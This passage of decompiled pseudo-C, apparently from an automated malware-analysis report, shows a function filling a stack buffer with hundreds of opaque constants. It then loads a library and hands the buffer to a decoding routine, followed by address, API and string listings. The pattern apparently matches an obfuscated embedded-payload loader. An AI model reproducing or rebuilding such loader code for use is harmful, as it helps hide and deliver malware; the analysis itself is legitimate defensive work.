				 *((intOrPtr*)(_t441 - 0x508)) = 0xee2d6b36;
				 *((intOrPtr*)(_t441 - 0x504)) = 0x81fc3f80;
				 *((intOrPtr*)(_t441 - 0x500)) = 0xf4dee0de;
				 *((intOrPtr*)(_t441 - 0x4fc)) = 0x83802837;
				 *((intOrPtr*)(_t441 - 0x4f8)) = 0xb2f1e084;
				 *((intOrPtr*)(_t441 - 0x4f4)) = 0xb36cbe34;
				 *((intOrPtr*)(_t441 - 0x4f0)) = 0xf0e0bf95;
				 *((intOrPtr*)(_t441 - 0x4ec)) = 0xe0a285cd;
				 *((intOrPtr*)(_t441 - 0x4e8)) = 0xfcc82be4;
				 *((intOrPtr*)(_t441 - 0x4e4)) = 0xe76dfedb;
				 *((intOrPtr*)(_t441 - 0x4e0)) = 0x97265281;
				 *((intOrPtr*)(_t441 - 0x4dc)) = 0xd95d1b17;
				 *((intOrPtr*)(_t441 - 0x4d8)) = 0x389b7bda;
				 *((intOrPtr*)(_t441 - 0x4d4)) = 0x71cdd7c5;
				 *((intOrPtr*)(_t441 - 0x4d0)) = 0x8c5f31f3;
				 *((intOrPtr*)(_t441 - 0x4cc)) = 0xe7d5da16;
				 *((intOrPtr*)(_t441 - 0x4c8)) = 0x7914131d;
				 *((intOrPtr*)(_t441 - 0x4c4)) = 0x155a36fc;
				 *((intOrPtr*)(_t441 - 0x4c0)) = 0xa7e50a64;
				 *((intOrPtr*)(_t441 - 0x4bc)) = 0x690dad47;
				 *((intOrPtr*)(_t441 - 0x4b8)) = 0xa3007a7e;
				 *((intOrPtr*)(_t441 - 0x4b4)) = 0xe02e00fa;
				 *((intOrPtr*)(_t441 - 0x4b0)) = 0x329eeddf;
				 *((intOrPtr*)(_t441 - 0x4ac)) = 0xae353d2;
				 *((intOrPtr*)(_t441 - 0x4a8)) = 0x166413b8;
				 *((intOrPtr*)(_t441 - 0x4a4)) = 0x8918e5f3;
				 *((intOrPtr*)(_t441 - 0x4a0)) = 0xea795530;
				 *((intOrPtr*)(_t441 - 0x49c)) = 0xe9d8e700;
				 *((intOrPtr*)(_t441 - 0x498)) = 0xd532f147;
				 *((intOrPtr*)(_t441 - 0x494)) = 0x3ffdd03;
				 *((intOrPtr*)(_t441 - 0x490)) = 0x32771615;
				 *((intOrPtr*)(_t441 - 0x48c)) = 0xce59f5c6;
				 *((intOrPtr*)(_t441 - 0x488)) = 0xa48bbf89;
				 *((intOrPtr*)(_t441 - 0x484)) = 0xfc7f7c88;
				 *((intOrPtr*)(_t441 - 0x480)) = 0x747b861b;
				 *((intOrPtr*)(_t441 - 0x47c)) = 0x556e714e;
				 *((intOrPtr*)(_t441 - 0x478)) = 0xc64df43f;
				 *((intOrPtr*)(_t441 - 0x474)) = 0xb5d56d35;
				 *((intOrPtr*)(_t441 - 0x470)) = 0x34f4b205;
				 *((intOrPtr*)(_t441 - 0x46c)) = 0x46ecf5fd;
				 *((intOrPtr*)(_t441 - 0x468)) = 0xec83a30;
				 *((intOrPtr*)(_t441 - 0x464)) = 0x39ec0be6;
				 *((intOrPtr*)(_t441 - 0x460)) = 0x73daf6cc;
				 *((intOrPtr*)(_t441 - 0x45c)) = 0x650c09d7;
				 *((intOrPtr*)(_t441 - 0x458)) = 0xa55b36db;
				 *((intOrPtr*)(_t441 - 0x454)) = 0xd4c5ed39;
				 *((intOrPtr*)(_t441 - 0x450)) = 0xc23b43e0;
				 *((intOrPtr*)(_t441 - 0x44c)) = 0xaa7296c8;
				 *((intOrPtr*)(_t441 - 0x448)) = 0x30e16744;
				 *((intOrPtr*)(_t441 - 0x444)) = 0x59f6bbc7;
				 *((intOrPtr*)(_t441 - 0x440)) = 0x5d1e980c;
				 *((intOrPtr*)(_t441 - 0x43c)) = 0x148c3302;
				 *((intOrPtr*)(_t441 - 0x438)) = 0x7d01d553;
				 *((intOrPtr*)(_t441 - 0x434)) = 0x2fd00b4;
				 *((intOrPtr*)(_t441 - 0x430)) = 0xc91e8228;
				 *((intOrPtr*)(_t441 - 0x42c)) = 0x8b96aadc;
				 *((intOrPtr*)(_t441 - 0x428)) = 0x6d842be5;
				 *((intOrPtr*)(_t441 - 0x424)) = 0x38dcf886;
				 *((intOrPtr*)(_t441 - 0x420)) = 0x4fb6e3ba;
				 *((intOrPtr*)(_t441 - 0x41c)) = 0xf5a78b8c;
				 *((intOrPtr*)(_t441 - 0x418)) = 0x181817bd;
				 *((intOrPtr*)(_t441 - 0x414)) = 0x2ad8dc2e;
				 *((intOrPtr*)(_t441 - 0x410)) = 0x56b7f942;
				 *((intOrPtr*)(_t441 - 0x40c)) = 0x25c2e735;
				 *((intOrPtr*)(_t441 - 0x408)) = 0x4284b5df;
				 *((intOrPtr*)(_t441 - 0x404)) = 0x2a3f0eb;
				 *((intOrPtr*)(_t441 - 0x400)) = 0x2e4ec9c6;
				 *((intOrPtr*)(_t441 - 0x3fc)) = 0x2fe478b9;
				 *((intOrPtr*)(_t441 - 0x3f8)) = 0x629fd88d;
				 *((intOrPtr*)(_t441 - 0x3f4)) = 0x1f9257a7;
				 *((intOrPtr*)(_t441 - 0x3f0)) = 0xdecf0136;
				 *((intOrPtr*)(_t441 - 0x3ec)) = 0x6a9988fb;
				 *((intOrPtr*)(_t441 - 0x3e8)) = 0x88e47ad9;
				 *((intOrPtr*)(_t441 - 0x3e4)) = 0x5fb1ef1c;
				 *((intOrPtr*)(_t441 - 0x3e0)) = 0x1e944d38;
				 *((intOrPtr*)(_t441 - 0x3dc)) = 0x9d0644ae;
				 *((intOrPtr*)(_t441 - 0x3d8)) = 0xc4d99227;
				 *((intOrPtr*)(_t441 - 0x3d4)) = 0xd96a9d5a;
				 *((intOrPtr*)(_t441 - 0x3d0)) = 0x147f5485;
				 *((intOrPtr*)(_t441 - 0x3cc)) = 0xd52820a8;
				 *((intOrPtr*)(_t441 - 0x3c8)) = 0xb62d1425;
				 *((intOrPtr*)(_t441 - 0x3c4)) = 0x668d0e0d;
				 *((intOrPtr*)(_t441 - 0x3c0)) = 0x70490096;
				 *((intOrPtr*)(_t441 - 0x3bc)) = 0xdb4659a0;
				 *((intOrPtr*)(_t441 - 0x3b8)) = 0xc9608808;
				 *((intOrPtr*)(_t441 - 0x3b4)) = 0x31192940;
				 *((intOrPtr*)(_t441 - 0x3b0)) = 0xc97b64d9;
				 *((intOrPtr*)(_t441 - 0x3ac)) = 0x36c82388;
				 *((intOrPtr*)(_t441 - 0x3a8)) = 0xa387d3a7;
				 *((intOrPtr*)(_t441 - 0x3a4)) = 0x30ab71f2;
				 *((intOrPtr*)(_t441 - 0x3a0)) = 0x81cbd4d2;
				 *((intOrPtr*)(_t441 - 0x39c)) = 0x757cf98c;
				 *((intOrPtr*)(_t441 - 0x398)) = 0xabe4a1a4;
				 *((intOrPtr*)(_t441 - 0x394)) = 0x4448a644;
				 *((intOrPtr*)(_t441 - 0x390)) = 0x79ac04a0;
				 *((intOrPtr*)(_t441 - 0x38c)) = 0x3546bc37;
				 *((intOrPtr*)(_t441 - 0x388)) = 0xf8f9e886;
				 *((intOrPtr*)(_t441 - 0x384)) = 0x95e56c0e;
				 *((intOrPtr*)(_t441 - 0x380)) = 0x7b204792;
				 *((intOrPtr*)(_t441 - 0x37c)) = 0x61d2873a;
				 *((intOrPtr*)(_t441 - 0x378)) = 0x47d2910a;
				 *((intOrPtr*)(_t441 - 0x374)) = 0x132b14f;
				 *((intOrPtr*)(_t441 - 0x370)) = 0x5c1120be;
				 *((intOrPtr*)(_t441 - 0x36c)) = 0xc732fa7f;
				 *((intOrPtr*)(_t441 - 0x368)) = 0x4f3f0754;
				 *((intOrPtr*)(_t441 - 0x364)) = 0x84ed6131;
				 *((intOrPtr*)(_t441 - 0x360)) = 0x7357ee35;
				 *((intOrPtr*)(_t441 - 0x35c)) = 0xee76964a;
				 *((intOrPtr*)(_t441 - 0x358)) = 0x8d5f7cc1;
				 *((intOrPtr*)(_t441 - 0x354)) = 0x286d6c64;
				 *((intOrPtr*)(_t441 - 0x350)) = 0x5b402a70;
				 *((intOrPtr*)(_t441 - 0x34c)) = 0x58d080a8;
				 *((intOrPtr*)(_t441 - 0x348)) = 0xe25a1201;
				 *((intOrPtr*)(_t441 - 0x344)) = 0x652bbebd;
				 *((intOrPtr*)(_t441 - 0x340)) = 0xd305a56f;
				 *((intOrPtr*)(_t441 - 0x33c)) = 0xa7b65d99;
				 *((intOrPtr*)(_t441 - 0x338)) = 0x66acb832;
				 *((intOrPtr*)(_t441 - 0x334)) = 0x165938f2;
				 *((intOrPtr*)(_t441 - 0x330)) = 0x1ecb512f;
				 *((intOrPtr*)(_t441 - 0x32c)) = 0x930810aa;
				 *((intOrPtr*)(_t441 - 0x328)) = 0x43254b54;
				 *((intOrPtr*)(_t441 - 0x324)) = 0xdf1b1c7a;
				 *((intOrPtr*)(_t441 - 0x320)) = 0x4c19c8ed;
				 *((intOrPtr*)(_t441 - 0x31c)) = 0x94b7994d;
				 *((intOrPtr*)(_t441 - 0x318)) = 0x4164ea17;
				 *((intOrPtr*)(_t441 - 0x314)) = 0x1d0bf59;
				 *((intOrPtr*)(_t441 - 0x310)) = 0xedb017b3;
				 *((intOrPtr*)(_t441 - 0x30c)) = 0x7dc8e84a;
				 *((intOrPtr*)(_t441 - 0x308)) = 0xc243ef4d;
				 *((intOrPtr*)(_t441 - 0x304)) = 0xb98517a5;
				 *((intOrPtr*)(_t441 - 0x300)) = 0x4da1f8d9;
				 *((intOrPtr*)(_t441 - 0x2fc)) = 0xac0d5549;
				 *((intOrPtr*)(_t441 - 0x2f8)) = 0x457394ca;
				 *((intOrPtr*)(_t441 - 0x2f4)) = 0x3dee73ab;
				 *((intOrPtr*)(_t441 - 0x2f0)) = 0x1cb60641;
				 *((intOrPtr*)(_t441 - 0x2ec)) = 0x73c0ce9f;
				 *((intOrPtr*)(_t441 - 0x2e8)) = 0x78f928db;
				 *((intOrPtr*)(_t441 - 0x2e4)) = 0xa085bf53;
				 *((intOrPtr*)(_t441 - 0x2e0)) = 0x29ed2789;
				 *((intOrPtr*)(_t441 - 0x2dc)) = 0x5656443b;
				 *((intOrPtr*)(_t441 - 0x2d8)) = 0x9ad7d08b;
				 *((intOrPtr*)(_t441 - 0x2d4)) = 0x712266b2;
				 *((intOrPtr*)(_t441 - 0x2d0)) = 0x5f0fa9de;
				 *((intOrPtr*)(_t441 - 0x2cc)) = 0x82f5bfd2;
				 *((intOrPtr*)(_t441 - 0x2c8)) = 0x673d9c4f;
				 *((intOrPtr*)(_t441 - 0x2c4)) = 0x740ba1a7;
				 *((intOrPtr*)(_t441 - 0x2c0)) = 0x373a1311;
				 *((intOrPtr*)(_t441 - 0x2bc)) = 0x417272e5;
				 *((intOrPtr*)(_t441 - 0x2b8)) = 0x9d0f9644;
				 *((intOrPtr*)(_t441 - 0x2b4)) = 0x6bd560d8;
				 *((intOrPtr*)(_t441 - 0x2b0)) = 0xd8e03e60;
				 *((intOrPtr*)(_t441 - 0x2ac)) = 0x7e9018aa;
				 *((intOrPtr*)(_t441 - 0x2a8)) = 0xc3363eae;
				 *((intOrPtr*)(_t441 - 0x2a4)) = 0x65638ae1;
				 *((intOrPtr*)(_t441 - 0x2a0)) = 0x341ce865;
				 *((intOrPtr*)(_t441 - 0x29c)) = 0xd26b61c7;
				 *((intOrPtr*)(_t441 - 0x298)) = 0x378194a5;
				 *((intOrPtr*)(_t441 - 0x294)) = 0xd946a510;
				 *((intOrPtr*)(_t441 - 0x290)) = 0x243a7a98;
				 *((intOrPtr*)(_t441 - 0x28c)) = 0x669eb82;
				 *((intOrPtr*)(_t441 - 0x288)) = 0x2341e9d9;
				 *((intOrPtr*)(_t441 - 0x284)) = 0x3a04aeda;
				 *((intOrPtr*)(_t441 - 0x280)) = 0xad183657;
				 *((intOrPtr*)(_t441 - 0x27c)) = 0xd9444113;
				 *((intOrPtr*)(_t441 - 0x278)) = 0x38c3ff49;
				 *((intOrPtr*)(_t441 - 0x274)) = 0x40dc1552;
				 *((intOrPtr*)(_t441 - 0x270)) = 0xcfd97b4d;
				 *((intOrPtr*)(_t441 - 0x26c)) = 0xfdc9c4fb;
				 *((intOrPtr*)(_t441 - 0x268)) = 0x5e087d4a;
				 *((intOrPtr*)(_t441 - 0x264)) = 0x59ec9ca1;
				 *((intOrPtr*)(_t441 - 0x260)) = 0x5ebbe6fa;
				 *((intOrPtr*)(_t441 - 0x25c)) = 0xb9d86287;
				 *((intOrPtr*)(_t441 - 0x258)) = 0xc5896fe0;
				 *((intOrPtr*)(_t441 - 0x254)) = 0x5593a020;
				 *((intOrPtr*)(_t441 - 0x250)) = 0xf0715a8d;
				 *((intOrPtr*)(_t441 - 0x24c)) = 0x2f41e908;
				 *((intOrPtr*)(_t441 - 0x248)) = 0x92656eeb;
				 *((intOrPtr*)(_t441 - 0x244)) = 0x2351a2be;
				 *((intOrPtr*)(_t441 - 0x240)) = 0xc4188bb2;
				 *((intOrPtr*)(_t441 - 0x23c)) = 0x6d292057;
				 *((intOrPtr*)(_t441 - 0x238)) = 0xc62c7f66;
				 *((intOrPtr*)(_t441 - 0x234)) = 0x9e7b5715;
				 *((intOrPtr*)(_t441 - 0x230)) = 0x807acea3;
				 *((intOrPtr*)(_t441 - 0x22c)) = 0xafe067b;
				 *((intOrPtr*)(_t441 - 0x228)) = 0x43ee4a69;
				 *((intOrPtr*)(_t441 - 0x224)) = 0x48ae7035;
				 *((intOrPtr*)(_t441 - 0x220)) = 0xab98a108;
				 *((intOrPtr*)(_t441 - 0x21c)) = 0xb4e8d930;
				 *((intOrPtr*)(_t441 - 0x218)) = 0x5d7a50df;
				 *((intOrPtr*)(_t441 - 0x214)) = 0xe6115588;
				 *((intOrPtr*)(_t441 - 0x210)) = 0xed8a07f0;
				 *((intOrPtr*)(_t441 - 0x20c)) = 0x503ede10;
				 *((intOrPtr*)(_t441 - 0x208)) = 0x40d4cc95;
				 *((intOrPtr*)(_t441 - 0x204)) = 0xd4b67ed1;
				 *((intOrPtr*)(_t441 - 0x200)) = 0x37f96aee;
				 *((intOrPtr*)(_t441 - 0x1fc)) = 0xa277730c;
				 *((intOrPtr*)(_t441 - 0x1f8)) = 0x336bed4b;
				 *((intOrPtr*)(_t441 - 0x1f4)) = 0xe34ada5f;
				 *((intOrPtr*)(_t441 - 0x1f0)) = 0xc3095d9b;
				 *((intOrPtr*)(_t441 - 0x1ec)) = 0xbd9bcd9f;
				 *((intOrPtr*)(_t441 - 0x1e8)) = 0x58945e90;
				 *((intOrPtr*)(_t441 - 0x1e4)) = 0x611fbd37;
				 *((intOrPtr*)(_t441 - 0x1e0)) = 0xfef46df3;
				 *((intOrPtr*)(_t441 - 0x1dc)) = 0x8f3c4182;
				 *((intOrPtr*)(_t441 - 0x1d8)) = 0x197a475c;
				 *((intOrPtr*)(_t441 - 0x1d4)) = 0x7767e10c;
				 *((intOrPtr*)(_t441 - 0x1d0)) = 0x72444e41;
				 *((intOrPtr*)(_t441 - 0x1cc)) = 0x47ee7636;
				 *((intOrPtr*)(_t441 - 0x1c8)) = 0xa478bb23;
				 *((intOrPtr*)(_t441 - 0x1c4)) = 0xd0e03d8b;
				 *((intOrPtr*)(_t441 - 0x1c0)) = 0x46b0febf;
				 *((intOrPtr*)(_t441 - 0x1bc)) = 0xbe9b27fb;
				 *((intOrPtr*)(_t441 - 0x1b8)) = 0xb2b0cd15;
				 *((intOrPtr*)(_t441 - 0x1b4)) = 0x3aed5821;
				 *((intOrPtr*)(_t441 - 0x1b0)) = 0x9e7b88f4;
				 *((intOrPtr*)(_t441 - 0x1ac)) = 0xe7f3d3f5;
				 *((intOrPtr*)(_t441 - 0x1a8)) = 0x5eaa0c60;
				 *((intOrPtr*)(_t441 - 0x1a4)) = 0x46faf790;
				 *((intOrPtr*)(_t441 - 0x1a0)) = 0xb53a1827;
				 *((intOrPtr*)(_t441 - 0x19c)) = 0x18a734b2;
				 *((intOrPtr*)(_t441 - 0x198)) = 0x3cb859ae;
				 *((intOrPtr*)(_t441 - 0x194)) = 0x2610448a;
				 *((intOrPtr*)(_t441 - 0x190)) = 0x98991077;
				 *((intOrPtr*)(_t441 - 0x18c)) = 0x841a0d00;
				 *((intOrPtr*)(_t441 - 0x188)) = 0x4e037ade;
				 *((intOrPtr*)(_t441 - 0x184)) = 0xddf9db21;
				 *((intOrPtr*)(_t441 - 0x180)) = 0x14af2e1e;
				 *((intOrPtr*)(_t441 - 0x17c)) = 0x1a7dd804;
				 *((intOrPtr*)(_t441 - 0x178)) = 0xedacd066;
				 *((intOrPtr*)(_t441 - 0x174)) = 0xac875451;
				 *((intOrPtr*)(_t441 - 0x170)) = 0x44ef4ace;
				 *((intOrPtr*)(_t441 - 0x16c)) = 0x475f1ccd;
				 *((intOrPtr*)(_t441 - 0x168)) = 0xa19afa6e;
				 *((intOrPtr*)(_t441 - 0x164)) = 0xea7e01c6;
				 *((intOrPtr*)(_t441 - 0x160)) = 0x53b2e8a7;
				 *((intOrPtr*)(_t441 - 0x15c)) = 0xde5b196a;
				 *((intOrPtr*)(_t441 - 0x158)) = 0xfca044c2;
				 *((intOrPtr*)(_t441 - 0x154)) = 0xf0b93137;
				 *((intOrPtr*)(_t441 - 0x150)) = 0xf83bb634;
				 *((intOrPtr*)(_t441 - 0x14c)) = 0x774efce;
				 *((intOrPtr*)(_t441 - 0x148)) = 0xe816fa75;
				 *((intOrPtr*)(_t441 - 0x144)) = 0xefd79a3d;
				 *((intOrPtr*)(_t441 - 0x140)) = 0xc5feab3d;
				 *((intOrPtr*)(_t441 - 0x13c)) = 0x1cbe874c;
				 *((intOrPtr*)(_t441 - 0x138)) = 0x556e34cd;
				 *((intOrPtr*)(_t441 - 0x134)) = 0x4b99c924;
				 *((intOrPtr*)(_t441 - 0x130)) = 0x7e2c3c7e;
				 *((intOrPtr*)(_t441 - 0x12c)) = 0xc83e3141;
				 *((intOrPtr*)(_t441 - 0x128)) = 0x61a13cdb;
				 *((intOrPtr*)(_t441 - 0x124)) = 0xbea71228;
				 *((intOrPtr*)(_t441 - 0x120)) = 0x5ae02b8e;
				 *((intOrPtr*)(_t441 - 0x11c)) = 0x14c96d13;
				 *((intOrPtr*)(_t441 - 0x118)) = 0x953bc43b;
				 *((intOrPtr*)(_t441 - 0x114)) = 0x3b79e650;
				 *((intOrPtr*)(_t441 - 0x110)) = 0xbb3160e9;
				 *((intOrPtr*)(_t441 - 0x10c)) = 0x1e08f3b3;
				 *((intOrPtr*)(_t441 - 0x108)) = 0x6c47cea2;
				 *((intOrPtr*)(_t441 - 0x104)) = 0x4cd2aaba;
				 *((intOrPtr*)(_t441 - 0x100)) = 0x3edc34e8;
				 *((intOrPtr*)(_t441 - 0xfc)) = 0xb35598cb;
				 *((intOrPtr*)(_t441 - 0xf8)) = 0xde898aa;
				 *((intOrPtr*)(_t441 - 0xf4)) = 0xff499b27;
				 *((intOrPtr*)(_t441 - 0xf0)) = 0xf56b4ea6;
				 *((intOrPtr*)(_t441 - 0xec)) = 0x9fd99e0f;
				 *((intOrPtr*)(_t441 - 0xe8)) = 0x85510475;
				 *((intOrPtr*)(_t441 - 0xe4)) = 0x529cfc96;
				 *((intOrPtr*)(_t441 - 0xe0)) = 0x5c803e81;
				 *((intOrPtr*)(_t441 - 0xdc)) = 0x7be8dfdb;
				 *((intOrPtr*)(_t441 - 0xd8)) = 0x10cefeee;
				 *((intOrPtr*)(_t441 - 0xd4)) = 0xe07b5cec;
				 *((intOrPtr*)(_t441 - 0xd0)) = 0xe963df59;
				 *((intOrPtr*)(_t441 - 0xcc)) = 0x549915a0;
				 *((intOrPtr*)(_t441 - 0xc8)) = 0x167afa2f;
				 *((intOrPtr*)(_t441 - 0xc4)) = 0x31f36a4;
				 *((intOrPtr*)(_t441 - 0xc0)) = 0x554dd6ff;
				 *((intOrPtr*)(_t441 - 0xbc)) = 0x364bf670;
				 *((intOrPtr*)(_t441 - 0xb8)) = 0xbd7ac96d;
				 *((intOrPtr*)(_t441 - 0xb4)) = 0x40df9ae4;
				 *((intOrPtr*)(_t441 - 0xb0)) = 0xfbd29e91;
				 *((intOrPtr*)(_t441 - 0xac)) = 0x34d242c8;
				 *((intOrPtr*)(_t441 - 0xa8)) = 0x221b5e15;
				 *((intOrPtr*)(_t441 - 0xa4)) = 0x584f4138;
				 *((intOrPtr*)(_t441 - 0xa0)) = 0xd3da40ea;
				 *((intOrPtr*)(_t441 - 0x9c)) = 0xfdb2a0a3;
				 *((intOrPtr*)(_t441 - 0x98)) = 0xe7e1c994;
				 *((intOrPtr*)(_t441 - 0x94)) = 0xef912419;
				 *((intOrPtr*)(_t441 - 0x90)) = 0xe26be229;
				 *((intOrPtr*)(_t441 - 0x8c)) = 0x5b173771;
				 *((intOrPtr*)(_t441 - 0x88)) = 0xe1b5b166;
				 *((intOrPtr*)(_t441 - 0x84)) = 0xc854bb1d;
				 *((intOrPtr*)(_t441 - 0x80)) = 0xab3c32d3;
				 *((intOrPtr*)(_t441 - 0x7c)) = 0xa539921e;
				 *((intOrPtr*)(_t441 - 0x78)) = 0x31ddfb72;
				 *((intOrPtr*)(_t441 - 0x74)) = 0x2574e026;
				 *((intOrPtr*)(_t441 - 0x70)) = 0xe9907fdc;
				 *((intOrPtr*)(_t441 - 0x6c)) = 0x82f21263;
				 *((intOrPtr*)(_t441 - 0x68)) = 0x151a661f;
				 *((intOrPtr*)(_t441 - 0x64)) = 0x9770157e;
				 *((intOrPtr*)(_t441 - 0x60)) = 0x6cdbd348;
				 *((intOrPtr*)(_t441 - 0x5c)) = 0x85ccdc27;
				 *((intOrPtr*)(_t441 - 0x58)) = 0x5294165a;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t441 - 0x54)) = 0x3b11416e;
				 *((intOrPtr*)(_t441 - 0x50)) = 0xe8ef845f;
				 *((intOrPtr*)(_t441 - 0x4c)) = 0x552aa571;
				 *((intOrPtr*)(_t441 - 0x48)) = 0xecffd9cd;
				 *((intOrPtr*)(_t441 - 0x44)) = 0x1d62b09d;
				 *((intOrPtr*)(_t441 - 0x40)) = 0x82654e0b;
				 *((intOrPtr*)(_t441 - 0x3c)) = 0x849737f7;
				 *((intOrPtr*)(_t441 - 0x38)) = 0xcc39b929;
				 *((intOrPtr*)(_t441 - 0x34)) = 0x3ced6e6a;
				 *((intOrPtr*)(_t441 - 0x30)) = 0x120ff926;
				 *((intOrPtr*)(_t441 - 0x2c)) = 0x4d2150b4;
				 *((intOrPtr*)(_t441 - 0x28)) = 0x88f6cd53;
				 *((intOrPtr*)(_t441 - 0x24)) = 0x8d3094b8;
				 *((intOrPtr*)(_t441 - 0x20)) = 0xc39d29a6;
				 *((intOrPtr*)(_t441 - 0x1c)) = 0xdba56365;
				 *((intOrPtr*)(_t441 - 0x18)) = 0x90071a83;
				 *((intOrPtr*)(_t441 - 0x14)) = 0xb48cfda0;
				 *((intOrPtr*)(_t441 - 0x10)) = 0x20950034;
				 *((intOrPtr*)(_t441 - 0xc)) = 0x37a8b303;
				 *((intOrPtr*)(_t441 - 8)) = 0x8b758a77;
				 *((intOrPtr*)(_t441 - 4)) = 0xa44f24cd;
				_t439 = L00381D10(0x390f20, 0x1a8, __edi, __esi);
				 *0x394c88 = LoadLibraryW(_t427);
				L00381DB0(_t439);
				return E00381570(_t431,  *0x394c88, _t441 - 0x6a4, _t439, 0x1a9, 0x71cd072d, 0x3926b0);
			}

0x00386e3a
0x00386e3a
0x00386e44
0x00386e4e
0x00386e58
0x00386e62
0x00386e6c
0x00386e76
0x00386e80
0x00386e8a
0x00386e94
0x00386e9e
0x00386ea8
0x00386eb2
0x00386ebc
0x00386ec6
0x00386ed0
0x00386eda
0x00386ee4
0x00386eee
0x00386ef8
0x00386f02
0x00386f0c
0x00386f16
0x00386f20
0x00386f2a
0x00386f34
0x00386f3e
0x00386f48
0x00386f52
0x00386f5c
0x00386f66
0x00386f70
0x00386f7a
0x00386f84
0x00386f8e
0x00386f98
0x00386fa2
0x00386fac
0x00386fb6
0x00386fc0
0x00386fca
0x00386fd4
0x00386fde
0x00386fe8
0x00386ff2
0x00386ffc
0x00387006
0x00387010
0x0038701a
0x00387024
0x0038702e
0x00387038
0x00387042
0x0038704c
0x00387056
0x00387060
0x0038706a
0x00387074
0x0038707e
0x00387088
0x00387092
0x0038709c
0x003870a6
0x003870b0
0x003870ba
0x003870c4
0x003870ce
0x003870d8
0x003870e2
0x003870ec
0x003870f6
0x00387100
0x0038710a
0x00387114
0x0038711e
0x00387128
0x00387132
0x0038713c
0x00387146
0x00387150
0x0038715a
0x00387164
0x0038716e
0x00387178
0x00387182
0x0038718c
0x00387196
0x003871a0
0x003871aa
0x003871b4
0x003871be
0x003871c8
0x003871d2
0x003871dc
0x003871e6
0x003871f0
0x003871fa
0x00387204
0x0038720e
0x00387218
0x00387222
0x0038722c
0x00387236
0x00387240
0x0038724a
0x00387254
0x0038725e
0x00387268
0x00387272
0x0038727c
0x00387286
0x00387290
0x0038729a
0x003872a4
0x003872ae
0x003872b8
0x003872c2
0x003872cc
0x003872d6
0x003872e0
0x003872ea
0x003872f4
0x003872fe
0x00387308
0x00387312
0x0038731c
0x00387326
0x00387330
0x0038733a
0x00387344
0x0038734e
0x00387358
0x00387362
0x0038736c
0x00387376
0x00387380
0x0038738a
0x00387394
0x0038739e
0x003873a8
0x003873b2
0x003873bc
0x003873c6
0x003873d0
0x003873da
0x003873e4
0x003873ee
0x003873f8
0x00387402
0x0038740c
0x00387416
0x00387420
0x0038742a
0x00387434
0x0038743e
0x00387448
0x00387452
0x0038745c
0x00387466
0x00387470
0x0038747a
0x00387484
0x0038748e
0x00387498
0x003874a2
0x003874ac
0x003874b6
0x003874c0
0x003874ca
0x003874d4
0x003874de
0x003874e8
0x003874f2
0x003874fc
0x00387506
0x00387510
0x0038751a
0x00387524
0x0038752e
0x00387538
0x00387542
0x0038754c
0x00387556
0x00387560
0x0038756a
0x00387574
0x0038757e
0x00387588
0x00387592
0x0038759c
0x003875a6
0x003875b0
0x003875ba
0x003875c4
0x003875ce
0x003875d8
0x003875e2
0x003875ec
0x003875f6
0x00387600
0x0038760a
0x00387614
0x0038761e
0x00387628
0x00387632
0x0038763c
0x00387646
0x00387650
0x0038765a
0x00387664
0x0038766e
0x00387678
0x00387682
0x0038768c
0x00387696
0x003876a0
0x003876aa
0x003876b4
0x003876be
0x003876c8
0x003876d2
0x003876dc
0x003876e6
0x003876f0
0x003876fa
0x00387704
0x0038770e
0x00387718
0x00387722
0x0038772c
0x00387736
0x00387740
0x0038774a
0x00387754
0x0038775e
0x00387768
0x00387772
0x0038777c
0x00387786
0x00387790
0x0038779a
0x003877a4
0x003877ae
0x003877b8
0x003877c2
0x003877cc
0x003877d6
0x003877e0
0x003877ea
0x003877f4
0x003877fe
0x00387808
0x00387812
0x0038781c
0x00387826
0x00387830
0x0038783a
0x00387844
0x0038784e
0x00387858
0x00387862
0x0038786c
0x00387876
0x00387880
0x0038788a
0x00387894
0x0038789e
0x003878a8
0x003878b2
0x003878bc
0x003878c6
0x003878d0
0x003878da
0x003878e4
0x003878ee
0x003878f8
0x00387902
0x0038790c
0x00387916
0x00387920
0x0038792a
0x00387934
0x0038793e
0x00387948
0x00387952
0x0038795c
0x00387966
0x00387970
0x0038797a
0x00387984
0x0038798e
0x00387998
0x003879a2
0x003879ac
0x003879b6
0x003879c0
0x003879ca
0x003879d4
0x003879de
0x003879e8
0x003879f2
0x003879fc
0x00387a06
0x00387a10
0x00387a1a
0x00387a24
0x00387a2e
0x00387a38
0x00387a42
0x00387a4c
0x00387a56
0x00387a60
0x00387a6a
0x00387a74
0x00387a7e
0x00387a88
0x00387a92
0x00387a9c
0x00387aa6
0x00387ab0
0x00387aba
0x00387ac4
0x00387ace
0x00387ad8
0x00387ae2
0x00387aec
0x00387af6
0x00387b00
0x00387b0a
0x00387b14
0x00387b1e
0x00387b28
0x00387b32
0x00387b3c
0x00387b46
0x00387b50
0x00387b5a
0x00387b64
0x00387b6e
0x00387b78
0x00387b82
0x00387b8c
0x00387b96
0x00387ba0
0x00387baa
0x00387bb4
0x00387bbe
0x00387bc8
0x00387bd2
0x00387bdc
0x00387be6
0x00387bf0
0x00387bfa
0x00387c04
0x00387c0e
0x00387c18
0x00387c22
0x00387c2c
0x00387c36
0x00387c40
0x00387c4a
0x00387c54
0x00387c5e
0x00387c68
0x00387c72
0x00387c7c
0x00387c86
0x00387c90
0x00387c9a
0x00387ca4
0x00387cae
0x00387cb8
0x00387cc2
0x00387ccc
0x00387cd6
0x00387ce0
0x00387cea
0x00387cf4
0x00387cfe
0x00387d08
0x00387d12
0x00387d1c
0x00387d26
0x00387d30
0x00387d3a
0x00387d44
0x00387d4e
0x00387d58
0x00387d62
0x00387d6c
0x00387d76
0x00387d80
0x00387d8a
0x00387d94
0x00387d9b
0x00387da2
0x00387da9
0x00387db0
0x00387db7
0x00387dbe
0x00387dc5
0x00387dcc
0x00387dd3
0x00387dda
0x00387de1
0x00387deb
0x00387df7
0x00387dfe
0x00387e05
0x00387e0c
0x00387e13
0x00387e1a
0x00387e21
0x00387e28
0x00387e2f
0x00387e36
0x00387e3d
0x00387e44
0x00387e4b
0x00387e52
0x00387e59
0x00387e60
0x00387e67
0x00387e6e
0x00387e75
0x00387e7c
0x00387e8b
0x00387e96
0x00387e9b
0x00387ec7

APIs

LoadLibraryW.KERNEL32(00000000), ref: 00387E8E

Strings

4, xrefs: 00387E67
NqnU, xrefs: 0038739E
jn<, xrefs: 00387E28
6vG, xrefs: 00387A56
;DVV, xrefs: 003877AE
0Uy, xrefs: 00387344
\{, xrefs: 00387CC2
Py;, xrefs: 00387C22
8AOX, xrefs: 00387D3A
Dg0, xrefs: 00387420
